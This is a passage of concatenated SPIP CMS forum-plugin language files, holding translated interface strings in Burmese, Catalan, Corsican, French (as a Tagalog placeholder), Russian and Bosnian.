'info_option_email' => 'ဝင်ရောက်လည်ပတ်သူက ဆောင်းပါးနှင့်ပတ်သက်၍ မှတ်ချက်ထားရှိပါက ထိုဆောင်းပါးရေးသူကို အီးမေးလ်ဖြင့် သတင်းပေးနိုင်သည်။ ဤရွေးချယ်မှုကို သုံးချင်ပါသလား', # MODIF
'info_pas_de_forum' => 'ဖိုရမ်မရှိပါ',
'item_activer_forum_administrateur' => 'ဝက်ဘ်ဆိုက်ကြီးကြပ်သူများဖိုရမ် ရနိုင်သည်',
'item_desactiver_forum_administrateur' => 'ဝက်ဘ်ဆိုက်ကြီကြပ်သူများဖိုရမ် မရနိုင်ပါ',
// L
'lien_reponse_article' => 'ဆောင်းပါးသို့ ပြန်တုန့်ပြန်ပါ',
'lien_reponse_breve_2' => 'သတင်းအချက်သို့ အကြောင်းပြန်ပါ',
'lien_reponse_rubrique' => 'အခန်းကဏ္ဍသို့ အကြောင်းပြန်ပါ',
'lien_reponse_site_reference' => 'ကိုးကားဝက်ဘ်ဆိုက်သို့ အကြောင်းပြန်ပါ', # MODIF
// O
'onglet_messages_internes' => 'အတွင်းဆိုင်စာစောင်များ',
'onglet_messages_publics' => 'အများဆိုင်စာစောင်များ',
'onglet_messages_vide' => 'စာသားမပါသည့်စာစောင်',
// R
'repondre_message' => 'ဤစာဆောင်ကိုပြန်ရန်',
// S
'statut_original' => 'မူရင်း',
// T
'titre_cadre_forum_administrateur' => 'ကြီးကြပ်သူ၏ ကိုယ်ပိုင်ဖိုရမ်',
'titre_cadre_forum_interne' => 'ဖိုရမ်အတွင်းပိုင်း',
'titre_forum' => 'ဖိုရမ်',
'titre_forum_suivi' => 'နောက်ဆက်တွဲဖိုရမ်',
'titre_page_forum_suivi' => 'ဖိုရမ်နောက်ဆက်တွဲ'
);
?>
forum_ca.php 0000666 00000017375 15252247467 0007107 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=ca
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'només als futurs articles (no afecta a la base de dades).',
'bouton_radio_articles_tous' => 'a tots els articles sense cap excepció.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'a tots els articles, excepte aquells que tenen el fòrum desactivat. ',
'bouton_radio_enregistrement_obligatoire' => 'Enregistrament obligatori (els usuaris s’han d’inscriure facilitant la seva adreça electrònica abans de poder afegir les seves contribucions).',
'bouton_radio_moderation_priori' => 'Moderat a priori (les
contribucions no apareixen públicament fins que no han estat
validades des de l’adminsitració del
lloc).', # MODIF
'bouton_radio_modere_abonnement' => 'per subscripció',
'bouton_radio_modere_posteriori' => 'moderació a posteriori',
'bouton_radio_modere_priori' => 'moderació a priori',
'bouton_radio_publication_immediate' => 'Publicació immediata dels missatges (es poden suprimir posteriorment des de l’administració). ',
// D
'documents_interdits_forum' => 'Documents prohibits al fórum',
// F
'form_pet_message_commentaire' => 'Un missatge, un comentari?',
'forum' => 'Fòrum',
'forum_acces_refuse' => 'Ja no teniu accés a aquests fòrums.',
'forum_attention_dix_caracteres' => '<b>Atenció!</b> el vostre missatge ha de tenir almenys deu caràcters.',
'forum_attention_trois_caracteres' => '<b>Atenció!</b> el vostre títol ha de tenir almenys tres caràcters.',
'forum_attention_trop_caracteres' => '<b>Atenció!</b> el vostre missatge és massa llarg (@compte@ caràcters) : per a poder-vos enregistrar no pot sobrepassar els @max@ caràcters.', # MODIF
'forum_avez_selectionne' => 'Heu seleccionat:',
'forum_cliquer_retour' => 'Premeu <a href=\'@retour_forum@\'>ici</a> per continuar.',
'forum_forum' => 'fòrum',
'forum_info_modere' => 'Aquest fòrum és moderat a priori: la seva contribució no es mostrarà fins que no hagi estat validada per l’administrador del lloc. ', # MODIF
'forum_lien_hyper' => '<b>Enllaç hipertext</b> (opcional)', # MODIF
'forum_message_definitif' => 'Missatge definitiu: enviar al lloc',
'forum_message_trop_long' => 'El vostre missatge és massa llarg. La mida màxima són 20000 caràcters.', # MODIF
'forum_ne_repondez_pas' => 'No respongueu a aquest correu electrònic, feu-ho al fòrum a la següent adreça: ',
'forum_page_url' => '(Si el vostre missatge fa referència a un article publicat a la Web, o a una pàgina que conté més informacions, podeu indicar a continuació el títol de la pàgina i la seva adreça URL.)',
'forum_poste_par' => 'Missatge enviat@parauteur@ a continuació de l’article « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Qui sóu?</b> (opcional)', # MODIF
'forum_texte' => 'Text del missatge:', # MODIF
'forum_titre' => 'Titol',
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Validar l’elecció',
'forum_voir_avant' => 'Veure el missatge abans d’enviar-lo', # MODIF
'forum_votre_email' => 'La seva adreça electrònica:', # MODIF
'forum_votre_nom' => 'El vostre nom (o pseudònim):', # MODIF
'forum_vous_enregistrer' => 'Per participar al fòrum, us heu de registrar prèviament.
Si ja n’esteu, escriviu a continuació l’identifcador que us ha estat proporcionat. Si encara no ho heu fet, heu d’',
'forum_vous_inscrire' => 'inscriure’s.',
// I
'icone_poster_message' => 'Enviar un missatge',
'icone_suivi_forum' => 'Seguiment del fòrum públic: @nb_forums@ contribution(s)',
'icone_suivi_forums' => 'Seguir/gestionar els fòrums',
'icone_supprimer_message' => 'Suprimir aquest missatge',
'icone_valider_message' => 'Validar aquest missatge',
'info_activer_forum_public' => '<i>Per activar els fòrums públics, escolliu el seu mode
de moderació per defecte:</i>', # MODIF
'info_appliquer_choix_moderation' => 'Aplicar aquesta opció de moderació:',
'info_config_forums_prive' => 'A l’espai privat del lloc Web, podeu activar diversos models de fòrums:', # MODIF
'info_config_forums_prive_admin' => 'Un fòrum reservat als administradors del lloc:',
'info_config_forums_prive_global' => 'Un fòrum global, obert a tots els redactors:',
'info_config_forums_prive_objets' => 'Un fòrum a sota de cada article, breu, lloc referenciat, etc.:',
'info_desactiver_forum_public' => 'Inhabilitar l’ús dels fòrums públics.
Els fòrums públics es podran permetre, cas per cas, en els articles;
estaran prohibits a les seccions, breus, etc.',
'info_envoi_forum' => 'Enviar els fòrums als autors dels articles',
'info_fonctionnement_forum' => 'Funcionament del fòrum :',
'info_gauche_suivi_forum_2' => 'La pàgina de <i>seguiment dels fòrums</i> és una eina de gestió del vostre lloc Web (i no un espai de discussió o de redacció). Mostra totes les contribucions dels fòrums del lloc, tant les de l’espai públic com les de l’espai privat i us permet gestionar aquestes contribucions.', # MODIF
'info_liens_syndiques_3' => 'fòrums',
'info_liens_syndiques_4' => 'són',
'info_liens_syndiques_5' => 'fòrum',
'info_liens_syndiques_6' => 'és',
'info_liens_syndiques_7' => 'pendent de validació',
'info_mode_fonctionnement_defaut_forum_public' => 'Mode de funcionament per defecte dels fòrums públics',
'info_option_email' => 'Quan un visitant del lloc envia un nou missatge al fòrum associat a un article, els autors de l’article poden ser informats d’aquest missatge per correu electrònic. Indiqueu per cada tipus de fòrum si és necessari utilitzar aquesta opció.',
'info_pas_de_forum' => 'sense fòrum',
'info_question_visiteur_ajout_document_forum' => 'Si voleu permetre que els visitants puguin adjuntar documents (imatges, sons...) als seus missatges dels fòrums, indiqueu, més avall, la llista de documents permesos pels fòrums (ex. gif, jpg, png, mp3).', # MODIF
'info_question_visiteur_ajout_document_forum_format' => 'Si voleu autoritzar tots els tipus de documents considerats com a fiables per SPIP, poseu una estrella. No indiqueu res, si no voleu autoritzar res.', # MODIF
'item_activer_forum_administrateur' => 'Activar el fòrum dels administradors',
'item_config_forums_prive_global' => 'Activar el fòrum dels redactors',
'item_config_forums_prive_objets' => 'Activar aquests fòrums',
'item_desactiver_forum_administrateur' => 'Desactivar el fòrum dels administradors',
'item_non_config_forums_prive_global' => 'Desactivar el fòrum dels redactors',
'item_non_config_forums_prive_objets' => 'Desactivar aquests fòrums',
// L
'lien_reponse_article' => 'Resposta a l’article',
'lien_reponse_breve_2' => 'Resposta a la breu',
'lien_reponse_rubrique' => 'Resposta a la secció',
'lien_reponse_site_reference' => 'Resposta al lloc referenciat:', # MODIF
// O
'onglet_messages_internes' => 'Missatges interns',
'onglet_messages_publics' => 'Missatges públics',
'onglet_messages_vide' => 'Missatges sense text',
// R
'repondre_message' => 'Respondre a aquest missatge',
// S
'statut_original' => 'original',
// T
'text_article_propose_publication_forum' => 'No dubteu a donar la vostra opinió per mitjà del fòrum agregat a aquest article (al capdavall de la pàgina).',
'texte_en_cours_validation_forum' => 'No dubteu a donar la vostra opinió per mitjà dels fòrums que porten agregats. ',
'titre_cadre_forum_administrateur' => 'Fòrum privat dels administradors',
'titre_cadre_forum_interne' => 'Fòrum intern',
'titre_config_forums_prive' => 'Fòrums de l’espai privat',
'titre_forum' => 'Fòrum',
'titre_forum_suivi' => 'Seguiment dels fòrums',
'titre_page_forum_suivi' => 'Seguiment dels fòrums'
);
?>
forum_co.php 0000666 00000017503 15252247467 0007116 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=co
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'solu à l’artìculi futuri (nisuna mudìfica à a basa attuale).',
'bouton_radio_articles_tous' => 'à tutti l’artìculi quant’elli sò.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'à tutti l’artìculi salvu quelli per chì hè disattivatu u foru.',
'bouton_radio_enregistrement_obligatoire' => 'Arregistramenu ubbligatoriu (l’utilizatori devenu abbunà si rinsignendu u so indirizzu e-mail prima di pudè mandà cuntributi).',
'bouton_radio_moderation_priori' => 'Muderazione in antìcipu (i cuntributi ùn sò pubblicati chè dopu accunsentu da l’amministratori).', # MODIF
'bouton_radio_modere_abonnement' => 'Solu cù abbunamentu',
'bouton_radio_modere_posteriori' => 'Muderazione dopu', # MODIF
'bouton_radio_modere_priori' => 'muderazione in antìcipu', # MODIF
'bouton_radio_publication_immediate' => 'Pubblicazione à l’istante di i messagi
(e cuntribuzioni sò pubblicate subbitu dopu mandate, l’amministradori i ponu sguassà dopu).',
// D
'documents_interdits_forum' => 'Ducumenti interdetti in u foru',
// F
'form_pet_message_commentaire' => 'Qualchì messagiu o cummentu ?',
'forum' => 'Foru',
'forum_acces_refuse' => 'Ùn avete più accessu à sti fori.',
'forum_attention_dix_caracteres' => '<b>Attenti !</b> U vostru messagiu deve cuntene à u mìnimu dece caràtteri.',
'forum_attention_trois_caracteres' => '<b>Attenti !</b> U vostru tìtulu deve cuntene à u mìnimu trè caràtteri.',
'forum_attention_trop_caracteres' => '<b>Attention !</b> U vostru messagiu hè troppu longu (@compte@ caràtteri) : pè pudè esse arregistratu,
ùn deve superà @max@ caràtteri.', # MODIF
'forum_avez_selectionne' => 'Avete sceltu :',
'forum_cliquer_retour' => 'Cliccate <a href=\'@retour_forum@\'>quì</a> per cuntinuà.',
'forum_forum' => 'foru',
'forum_info_modere' => 'Stu foru hè muderatu prima : u vostru cuntributu cumpariscerà solu dopu esse statu accunsentutu da un amministratore di u situ.', # MODIF
'forum_lien_hyper' => '<b>Lea ipertestu</b> (micca ubbligatoria)', # MODIF
'forum_message_definitif' => 'Messagiu definitivu : mandà à u situ',
'forum_message_trop_long' => 'U vostru messagiu hè troppu longu. A taglia màsima hè di 20 000 caràtteri.', # MODIF
'forum_ne_repondez_pas' => 'Ùn rispundite micca à stu mail ma piuttostu nant’à u foru, à st’indirizzu :', # MODIF
'forum_page_url' => '(Sì u vostru messagiu siriferisce à un artìculu pubblicatu nant’à u web, o à una pàgina
chì furnisce di più infurmazioni, pudete puru rinsignà custì u tìtulu di a pàgina cù u so indirizzu.)',
'forum_poste_par' => 'Messagiu postu@parauteur@ in coda di l’artìculu « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Quale site ?</b> (micca ubbligatoriu)', # MODIF
'forum_texte' => 'Testu di u vostru messagiu :', # MODIF
'forum_titre' => 'Tìtulu',
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'Cunvalidà sta scelta',
'forum_voir_avant' => 'Vede u messagiu prima di pustà lu', # MODIF
'forum_votre_email' => 'U vostru indirizzu email :', # MODIF
'forum_votre_nom' => 'U vostru nome (o pseudo) :', # MODIF
'forum_vous_enregistrer' => 'Per participà à stu foru, duvite esse digià arregistratu.
Rinsignate puru quì sottu u còdice persunale chì v’hè statu furnitu.
Sè vo ùn site ancu à arregistrà, vi tocca à',
'forum_vous_inscrire' => 'iscrive vi.',
// I
'icone_poster_message' => 'Mandà un messagiu',
'icone_suivi_forum' => 'Guardia di u foru pùbblicu : @nb_forums@ cuntributi',
'icone_suivi_forums' => 'Seguità/gestisce i fori',
'icone_supprimer_message' => 'Sguassà stu messagiu',
'icone_valider_message' => 'Cunvalidà stu messagiu',
'info_activer_forum_public' => '<i>Per attivà i fori pùbblichi, sceglite puru u tippu
di muderazione predefinitu :</i>', # MODIF
'info_appliquer_choix_moderation' => 'Serà appiecata sta scelta di muderazione :',
'info_config_forums_prive' => 'In u spaziu riservatu di u situ, pudete puru attivà diversi tippi di fori :', # MODIF
'info_config_forums_prive_admin' => 'Un foru riservatu à l’amministratori di u situ :',
'info_config_forums_prive_global' => 'Un foru generale, apertu à tutti i scrittori :',
'info_config_forums_prive_objets' => 'Un foru per ogni artìculu, dispacciu, situ riferitu, etc. :',
'info_desactiver_forum_public' => 'Disattivà l’adopru di i fori pùbblichi.
I fori pùbblichi puderanu esse auturizati di volta in volta
per i sìnguli artìculi; Invece seranu interdetti per e rùbbriche, i dispacci, etc.',
'info_envoi_forum' => 'Nutìfiche da i fori à l’autori di l’artìculi',
'info_fonctionnement_forum' => 'Funziunamentu di u foru :',
'info_gauche_suivi_forum_2' => 'A pàgina di <i>guardia di i fori</i> hè un arnese di gestione di u situ (è micca un spaziu di ragiunata o di scrittura).
Nentru ci venenu pubblicati tutti i cuntributi di i fori di u situ, ch’elli sianu quelli di u situ pùbblicu o quelli di u spaziu privatu,
è vi permette a gestione di sti cuntributi.', # MODIF
'info_liens_syndiques_3' => 'fori',
'info_liens_syndiques_4' => 'stanu',
'info_liens_syndiques_5' => 'foru',
'info_liens_syndiques_6' => 'stà',
'info_liens_syndiques_7' => 'in attesa di cunvalidazione',
'info_mode_fonctionnement_defaut_forum_public' => 'Modu di funziunamentu predefinitu di i fori pùbblichi',
'info_option_email' => 'Quando un visitore di u situ posta un novu messagiu in u foru
assuciatu à un artìculu, l’autori di st’artìculu ne ponu esse
avvisati da un email. Signalate puru per ogni tippu di foru s’ellu ci vole à usà st’opzione.',
'info_pas_de_forum' => 'Nisunu foru',
'info_question_visiteur_ajout_document_forum' => 'Sè vo vulete auturizà i visitori à alleà ducumenti (imàgini, mùsiche ...) à i so messagi di u foru, rinsignate quì sottu a lista di ’estensioni di i ducumenti auturizati pè i fori (per esempiu : gif, jpg, png, mp3).', # MODIF
'info_question_visiteur_ajout_document_forum_format' => 'Sè vo vulete auturizà tutti i tippi di ducumenti cunsiderati da affidati da SPIP, mettite una
stelluccia. Per ùn auturizà nunda, ùn mettite nunda.', # MODIF
'item_activer_forum_administrateur' => 'Attivà u foru di l’amministratori',
'item_config_forums_prive_global' => 'Attivà i fori di i scrittori',
'item_config_forums_prive_objets' => 'Attivà sti fori',
'item_desactiver_forum_administrateur' => 'Disattivà u foru di l’amministratori',
'item_non_config_forums_prive_global' => 'Disattivà i fori di i scrittori',
'item_non_config_forums_prive_objets' => 'Disattivà sti fori',
// L
'lien_reponse_article' => 'Risposta à l’artìculu',
'lien_reponse_breve_2' => 'Risposta i dispacci',
'lien_reponse_rubrique' => 'Risposta à a rùbbrica',
'lien_reponse_site_reference' => 'Risposta à u situ riferitu :', # MODIF
// O
'onglet_messages_internes' => 'Messagi interni',
'onglet_messages_publics' => 'Messagi pùbblichi',
'onglet_messages_vide' => 'Messagi senza testu',
// R
'repondre_message' => 'Risponde à stu messagiu',
// S
'statut_original' => 'uriginale',
// T
'text_article_propose_publication_forum' => 'Date puru u vostru parè in u foru di st’artìculu (in fondu di pàgina).',
'texte_en_cours_validation_forum' => 'Date puru u vostru parè usendu i fori chì li sò assuciati.',
'titre_cadre_forum_administrateur' => 'Foru privatu di l’amministratori',
'titre_cadre_forum_interne' => 'Foru internu',
'titre_config_forums_prive' => 'Fori di u spaziu privatu',
'titre_forum' => 'Foru',
'titre_forum_suivi' => 'Guardia di i fori',
'titre_page_forum_suivi' => 'Guardia di i fori'
);
?>
forum_tl.php 0000666 00000025237 15252247467 0007137 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Aucun message de forum', # NEW
// B
'bouton_radio_articles_futurs' => 'aux articles futurs uniquement (pas d\'action sur la base de données).', # NEW
'bouton_radio_articles_tous' => 'à tous les articles sans exception.', # NEW
'bouton_radio_articles_tous_sauf_forum_desactive' => 'à tous les articles, sauf ceux dont le forum est désactivé.', # NEW
'bouton_radio_enregistrement_obligatoire' => 'Enregistrement obligatoire (les
utilisateurs doivent s\'abonner en fournissant leur adresse e-mail avant de
pouvoir poster des contributions).', # NEW
'bouton_radio_moderation_priori' => 'Modération à priori (les
contributions ne s\'affichent publiquement qu\'après validation par les
administrateurs).', # NEW
'bouton_radio_modere_abonnement' => 'sur abonnement', # NEW
'bouton_radio_modere_posteriori' => 'modération à posteriori', # NEW
'bouton_radio_modere_priori' => 'modération à priori', # NEW
'bouton_radio_publication_immediate' => 'Publication immédiate des messages
(les contributions s\'affichent dès leur envoi, les administrateurs peuvent
les supprimer ensuite).', # NEW
// D
'documents_interdits_forum' => 'Documents interdits dans le forum', # NEW
// E
'erreur_enregistrement_message' => 'Votre message n\'a pas pu être enregistré en raison d\'un problème technique', # NEW
// F
'form_pet_message_commentaire' => 'Un message, un commentaire ?', # NEW
'forum' => 'Forum', # NEW
'forum_acces_refuse' => 'Vous n\'avez plus accès à ces forums.', # NEW
'forum_attention_dix_caracteres' => '<b>Attention !</b> votre message doit contenir au moins dix caractères.', # NEW
'forum_attention_message_non_poste' => 'Attention, vous n\'avez pas posté votre message !', # NEW
'forum_attention_trois_caracteres' => '<b>Attention !</b> votre titre doit contenir au moins trois caractères.', # NEW
'forum_attention_trop_caracteres' => '<b>Attention !</b> votre message est trop long (@compte@ caractères) : pour pouvoir être enregistré, il ne doit pas dépasser @max@ caractères.', # NEW
'forum_avez_selectionne' => 'Vous avez sélectionné :', # NEW
'forum_cliquer_retour' => 'Cliquez <a href=\'@retour_forum@\'>ici</a> pour continuer.', # NEW
'forum_forum' => 'forum', # NEW
'forum_info_modere' => 'Ce forum est modéré à priori : votre contribution n\'apparaîtra qu\'après avoir été validée par un administrateur du site.', # NEW
'forum_lien_hyper' => 'Lien hypertexte', # NEW
'forum_message' => 'Votre message', # NEW
'forum_message_definitif' => 'Message définitif : envoyer au site', # NEW
'forum_message_trop_long' => 'Votre message est trop long. La taille maximale est de 20000 caractères.', # NEW
'forum_ne_repondez_pas' => 'Ne répondez pas à ce mail mais sur le forum à l\'adresse suivante :', # NEW
'forum_page_url' => '(Si votre message se réfère à un article publié sur le Web, ou à une page fournissant plus d\'informations, vous pouvez indiquer ci-après le titre de la page et son adresse.)', # NEW
'forum_permalink' => 'Lien permanent vers le commentaire', # NEW
'forum_poste_par' => 'Message posté@parauteur@ à la suite de l\'article « @titre@ ».', # NEW
'forum_qui_etes_vous' => 'Qui êtes-vous ?', # NEW
'forum_saisie_texte_info' => 'Ce formulaire accepte les raccourcis SPIP <code>[->url] {{gras}} {italique} <quote> <code></code> et le code HTML <code><q> <del> <ins></code>. Pour créer des paragraphes, laissez simplement des lignes vides.', # NEW
'forum_texte' => 'Texte de votre message', # NEW
'forum_titre' => 'Titre', # NEW
'forum_url' => 'Votre site web', # NEW
'forum_valider' => 'Valider ce choix', # NEW
'forum_voir_avant' => 'Prévisualiser', # NEW
'forum_votre_email' => 'Votre adresse email', # NEW
'forum_votre_nom' => 'Votre nom', # NEW
'forum_vous_enregistrer' => 'Pour participer à
ce forum, vous devez vous enregistrer au préalable. Merci
d\'indiquer ci-dessous l\'identifiant personnel qui vous a
été fourni. Si vous n\'êtes pas enregistré, vous devez', # NEW
'forum_vous_inscrire' => 'vous inscrire.', # NEW
// I
'icone_bruler_message' => 'Signaler comme Spam', # NEW
'icone_bruler_messages' => 'Signaler comme Spam', # NEW
'icone_legitimer_message' => 'Signaler comme licite', # NEW
'icone_poster_message' => 'Poster un message', # NEW
'icone_suivi_forum' => 'Suivi du forum public : @nb_forums@ contribution(s)', # NEW
'icone_suivi_forums' => 'Suivre/gérer les forums', # NEW
'icone_supprimer_message' => 'Supprimer ce message', # NEW
'icone_supprimer_messages' => 'Supprimer ces messages', # NEW
'icone_valider_message' => 'Valider ce message', # NEW
'icone_valider_messages' => 'Valider ces messages', # NEW
'icone_valider_repondre_message' => 'Valider & Répondre à ce message', # NEW
'info_1_message_forum' => '1 message de forum', # NEW
'info_activer_forum_public' => 'Pour activer les forums publics, veuillez choisir leur mode
de modération par défaut :', # NEW
'info_appliquer_choix_moderation' => 'Appliquer ce choix de modération :', # NEW
'info_config_forums_prive' => 'Dans l’espace privé du site, vous pouvez activer plusieurs types de forums :', # NEW
'info_config_forums_prive_admin' => 'Un forum réservé aux administrateurs du site :', # NEW
'info_config_forums_prive_global' => 'Un forum global, ouvert à tous les rédacteurs :', # NEW
'info_config_forums_prive_objets' => 'Un forum sous chaque article, brève, site référencé, etc. :', # NEW
'info_desactiver_forum_public' => 'Désactiver l\'utilisation des forums
publics. Les forums publics pourront être autorisés au cas par cas
sur les articles ; ils seront interdits sur les rubriques, brèves, etc.', # NEW
'info_envoi_forum' => 'Envoi des forums aux auteurs des articles', # NEW
'info_fonctionnement_forum' => 'Fonctionnement du forum :', # NEW
'info_forums_liees_mot' => 'Les messages de forum liés à ce mot', # NEW
'info_gauche_suivi_forum_2' => 'La page de <i>suivi des forums</i> est un outil de gestion de votre site (et non un espace de discussion ou de rédaction). Elle affiche toutes les contributions des forums du site, aussi bien celles du site public que de l\'espace privé et vous permet de gérer ces contributions.', # NEW
'info_liens_syndiques_3' => 'forums', # NEW
'info_liens_syndiques_4' => 'sont', # NEW
'info_liens_syndiques_5' => 'forum', # NEW
'info_liens_syndiques_6' => 'est', # NEW
'info_liens_syndiques_7' => 'en attente de validation', # NEW
'info_liens_texte' => 'Lien(s) contenu(s) dans le texte du message', # NEW
'info_liens_titre' => 'Lien(s) contenu(s) dans le titre du message', # NEW
'info_mode_fonctionnement_defaut_forum_public' => 'Mode de fonctionnement par défaut des forums publics', # NEW
'info_nb_messages_forum' => '@nb@ messages de forum', # NEW
'info_option_email' => 'Lorsqu\'un visiteur du site poste un nouveau message dans le forum associé à un article, les auteurs de l\'article peuvent être prévenus de ce message par e-mail. Indiquer pour chaque type de forum s\'il faut utiliser cette option.', # NEW
'info_pas_de_forum' => 'pas de forum', # NEW
'info_question_visiteur_ajout_document_forum' => 'Si vous souhaitez autoriser les visiteurs à joindre des documents (images, sons...) à leurs messages de forum, indiquez ci-dessous la liste des extensions de documents autorisés pour les forums (ex: gif, jpg, png, mp3).', # NEW
'info_question_visiteur_ajout_document_forum_format' => 'Si vous souhaitez autoriser tous les types de documents considérés comme fiables par SPIP, mettez une étoile. Pour ne rien autoriser, n\'indiquez rien.', # NEW
'interface_formulaire' => 'Interface formulaire', # NEW
'interface_onglets' => 'Interface avec onglets', # NEW
'item_activer_forum_administrateur' => 'Activer le forum des administrateurs', # NEW
'item_config_forums_prive_global' => 'Activer le forum des rédacteurs', # NEW
'item_config_forums_prive_objets' => 'Activer ces forums', # NEW
'item_desactiver_forum_administrateur' => 'Désactiver le forum des administrateurs', # NEW
'item_non_config_forums_prive_global' => 'Désactiver le forum des rédacteurs', # NEW
'item_non_config_forums_prive_objets' => 'Désactiver ces forums', # NEW
// L
'lien_reponse_article' => 'Réponse à l\'article', # NEW
'lien_reponse_breve_2' => 'Réponse à la brève', # NEW
'lien_reponse_message' => 'Réponse au message', # NEW
'lien_reponse_rubrique' => 'Réponse à la rubrique', # NEW
'lien_reponse_site_reference' => 'Réponse au site référencé', # NEW
// M
'messages_aucun' => 'Aucun', # NEW
'messages_meme_auteur' => 'Tous les messages de cet auteur', # NEW
'messages_meme_email' => 'Tous les messages de cet email', # NEW
'messages_meme_ip' => 'Tous les messages de cette IP', # NEW
'messages_off' => 'Supprimés', # NEW
'messages_perso' => 'Personnels', # NEW
'messages_privadm' => 'Administrateurs', # NEW
'messages_prive' => 'Privés', # NEW
'messages_privoff' => 'Supprimés', # NEW
'messages_privrac' => 'Généraux', # NEW
'messages_prop' => 'Proposés', # NEW
'messages_publie' => 'Publiés', # NEW
'messages_spam' => 'Spam', # NEW
'messages_tous' => 'Tous', # NEW
// O
'onglet_messages_internes' => 'Messages internes', # NEW
'onglet_messages_publics' => 'Messages publics', # NEW
'onglet_messages_vide' => 'Messages sans texte', # NEW
// R
'repondre_message' => 'Répondre à ce message', # NEW
// S
'statut_off' => 'Supprimé', # NEW
'statut_original' => 'original', # NEW
'statut_prop' => 'Proposé', # NEW
'statut_publie' => 'Publié', # NEW
'statut_spam' => 'Spam', # NEW
// T
'text_article_propose_publication_forum' => 'N\'hésitez pas à donner votre avis grâce au forum attaché à cet article (en bas de page).', # NEW
'texte_en_cours_validation' => 'Les articles, brèves, forums ci dessous sont proposés à la publication.', # NEW
'texte_en_cours_validation_forum' => 'N\'hésitez pas à donner votre avis grâce aux forums qui leur sont attachés.', # NEW
'texte_messages_publics' => 'Messages publics sur :', # NEW
'titre_cadre_forum_administrateur' => 'Forum privé des administrateurs', # NEW
'titre_cadre_forum_interne' => 'Forum interne', # NEW
'titre_config_forums_prive' => 'Forums de l’espace privé', # NEW
'titre_forum' => 'Forum', # NEW
'titre_forum_suivi' => 'Suivi des forums', # NEW
'titre_page_forum_suivi' => 'Suivi des forums', # NEW
'titre_selection_action' => 'Sélection', # NEW
'tout_voir' => 'Voir tous les messages', # NEW
// V
'voir_messages_objet' => 'voir les messages' # NEW
);
?>
paquet-forum_ru.php 0000666 00000000730 15252247467 0010432 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'Форумы и комментарии в SPIP',
'forum_slogan' => 'Управление форумами и комментариями'
);
?>
forum_bs.php 0000666 00000013040 15252247467 0007111 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=bs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'iskljucivo za sljedece clanke (bez uticaja na bazupodataka).',
'bouton_radio_articles_tous' => 'bez iznimke za sve clanke.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'za sve clanke osim onih ciji forum je dezaktiviran.',
'bouton_radio_enregistrement_obligatoire' => 'Obavezno registrovanje (korisnici trebaju upisati svoju e-mail adresu prije mogucnosti postavljanja svojih prijedloga).',
'bouton_radio_moderation_priori' => 'Pre-moderation (prijedlozi se ne prikazuju na javnoj stranici prije ovjere od strane administratora).', # MODIF
'bouton_radio_modere_abonnement' => 'registracija obavezna',
'bouton_radio_modere_posteriori' => 'post-moderation', # MODIF
'bouton_radio_modere_priori' => 'pre-moderation', # MODIF
'bouton_radio_publication_immediate' => 'Direktna publikacija poruka (prijedlozi se prikazuju nakon slanja, administratori ih odmah mogu izbrisati).',
// F
'form_pet_message_commentaire' => 'Da li zelite napisati poruku ili komentar?',
'forum' => 'Forum',
'forum_acces_refuse' => 'Nemate vise pristup ovim forumima.',
'forum_attention_dix_caracteres' => '<b>Upozorenje!</b> Vasa poruka mora sadrzati najmanje deset karaktera.',
'forum_attention_trois_caracteres' => '<b>Upozorenje!</b> Vas naslov mora sadrzati najmanje tri karaktera.',
'forum_avez_selectionne' => 'Izabrali ste:',
'forum_cliquer_retour' => 'Kliknite <a href=\'@retour_forum@\'>ici</a> da bi ste nastavili.',
'forum_forum' => 'forum',
'forum_info_modere' => 'Ovaj forum je vlasnistvo urednika: vas prijedlog ce biti postavljen tek nakon sto je ovjeren od strane administratora.', # MODIF
'forum_lien_hyper' => '<b>Hipertekstualni link</b> (optionnel)', # MODIF
'forum_message_definitif' => 'Definitivna poruka: posalji na stranicu',
'forum_message_trop_long' => 'Vasa poruka je preduga. Maksimalna velicina je 20000 karaktera.', # MODIF
'forum_ne_repondez_pas' => 'Ne odgovarajte na ovu poruku osim u forumu na sljedecu adresu:', # MODIF
'forum_page_url' => '(Ako se vasa poruka odnosi na clanak objavljen na web-u, ili na stranicu koja pruza dodatne informacije, mozete na kraju naznaciti naziv i URL adresu stranice.)',
'forum_poste_par' => 'Poruku postavio/la@parauteur@; poruka slijedi nakon vaseg clanka.', # MODIF
'forum_qui_etes_vous' => '<b>Ko ste?</b> (optionnel)', # MODIF
'forum_texte' => 'Tekst vase poruke:', # MODIF
'forum_titre' => 'Tema:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Ptvrdite ovaj izbor',
